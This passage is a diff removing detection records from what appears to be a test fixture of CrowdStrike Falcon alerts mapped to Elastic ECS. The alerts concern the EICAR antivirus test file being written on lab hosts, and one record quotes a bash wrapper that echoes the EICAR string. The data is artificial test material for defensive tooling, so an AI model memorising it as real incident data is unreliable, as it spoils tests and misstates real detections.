shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com",
-                    "entity_id": "1751532935654264600",
-                    "executable": "/bin/bash",
-                    "pid": 1751532935654264600
-                },
-                "pid": 1751532935660927000,
-                "start": "2025-07-03T08:55:35.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d",
-                    "21cdb844225f8dc4ea6e9f80f9940a2b"
-                ],
-                "hosts": [
-                    "cs-elastic"
-                ],
-                "ip": [
-                    "192.168.64.5"
-                ],
-                "user": [
-                    "root"
-                ]
-            },
-            "rule": {
-                "name": "Attacker Methodology"
-            },
-            "source": {
-                "ip": "192.168.64.5"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Execution"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "User Execution"
-                    ]
-                }
-            },
-            "user": {
-                "name": "root"
-            }
-        },
-        {
-            "@timestamp": "2025-07-01T12:11:39.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
-                    "DataDomains": "Endpoint",
-                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-                    "FilesAccessed": [
-                        {
-                            "FileName": "eicarcom2.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "thumbcache_16.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "thumbcache_idx.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "GLEAM-LIGHT.svg",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                            "Timestamp": "2025-07-01T12:10:35.000Z"
-                        },
-                        {
-                            "FileName": "GLEAM-DARK.svg",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                            "Timestamp": "2025-07-01T12:10:35.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:41.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:42.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        },
-                        {
-                            "FileName": "iconcache_16.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        }
-                    ],
-                    "FilesWritten": [
-                        {
-                            "FileName": "eicar.com",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        },
-                        {
-                            "FileName": "The Internet.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:07:38.000Z"
-                        },
-                        {
-                            "FileName": "windowsdefender--threat-.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:07:38.000Z"
-                        },
-                        {
-                            "FileName": "The Internet.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:04.000Z"
-                        },
-                        {
-                            "FileName": "windowsdefender--threat-.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:04.000Z"
-                        },
-                        {
-                            "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:21.000Z"
-                        }
-                    ],
-                    "GrandparentCommandLine": "winlogon.exe",
-                    "GrandparentImageFileName": "winlogon.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "NetworkAccesses": [
-                        {
-                            "AccessTimestamp": 1751371565,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49729,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "150.171.27.12",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1751371565,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49730,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "2.22.144.74",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1751371787,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49948,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "2.18.27.89",
-                            "RemotePort": 443
-                        }
-                    ],
-                    "Objective": "Follow Through",
-                    "ParentImageFileName": "userinit.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10418",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 10,
-                    "SeverityName": "Informational",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1956190,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-01T12:11:39.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "23ba370fc8357f6f827812da142b5fcb",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
-                },
-                "name": "explorer.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\Explorer.EXE"
-                ],
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "entity_id": "38850874557",
-                "executable": "C:\\Windows\\Explorer.EXE",
-                "name": "explorer.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\system32\\userinit.exe"
-                    ],
-                    "command_line": "C:\\Windows\\system32\\userinit.exe",
-                    "entity_id": "38850737845",
-                    "executable": "C:\\Windows\\system32\\userinit.exe",
-                    "pid": 38850737845
-                },
-                "pid": 38850874557,
-                "start": "2025-07-01T12:06:02.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
-                    "23ba370fc8357f6f827812da142b5fcb"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Known Malware"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Execution"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "User Execution"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-01T12:11:39.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
-                    "DataDomains": "Endpoint",
-                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-                    "FilesAccessed": [
-                        {
-                            "FileName": "eicarcom2.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "thumbcache_16.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "thumbcache_idx.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:30.000Z"
-                        },
-                        {
-                            "FileName": "GLEAM-LIGHT.svg",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                            "Timestamp": "2025-07-01T12:10:35.000Z"
-                        },
-                        {
-                            "FileName": "GLEAM-DARK.svg",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                            "Timestamp": "2025-07-01T12:10:35.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:41.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:42.000Z"
-                        },
-                        {
-                            "FileName": "eicar_com.zip",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        },
-                        {
-                            "FileName": "iconcache_16.db",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        }
-                    ],
-                    "FilesWritten": [
-                        {
-                            "FileName": "eicar.com",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
-                            "Timestamp": "2025-07-01T12:10:43.000Z"
-                        },
-                        {
-                            "FileName": "The Internet.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:07:38.000Z"
-                        },
-                        {
-                            "FileName": "windowsdefender--threat-.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:07:38.000Z"
-                        },
-                        {
-                            "FileName": "The Internet.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:04.000Z"
-                        },
-                        {
-                            "FileName": "windowsdefender--threat-.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:04.000Z"
-                        },
-                        {
-                            "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
-                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                            "Timestamp": "2025-07-01T12:09:21.000Z"
-                        }
-                    ],
-                    "GrandparentCommandLine": "winlogon.exe",
-                    "GrandparentImageFileName": "winlogon.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "MitreAttack": [
-                        {
-                            "PatternID": "10418",
-                            "Tactic": "Execution",
-                            "Technique": "User Execution"
-                        }
-                    ],
-                    "NetworkAccesses": [
-                        {
-                            "AccessTimestamp": 1751371565,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49729,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "150.171.27.12",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1751371565,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49730,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "2.22.144.74",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1751371787,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.13",
-                            "LocalPort": 49948,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "2.18.27.89",
-                            "RemotePort": 443
-                        }
-                    ],
-                    "Objective": "Follow Through",
-                    "ParentImageFileName": "userinit.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10418",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 10,
-                    "SeverityName": "Informational",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1956190,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-01T12:11:39.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered 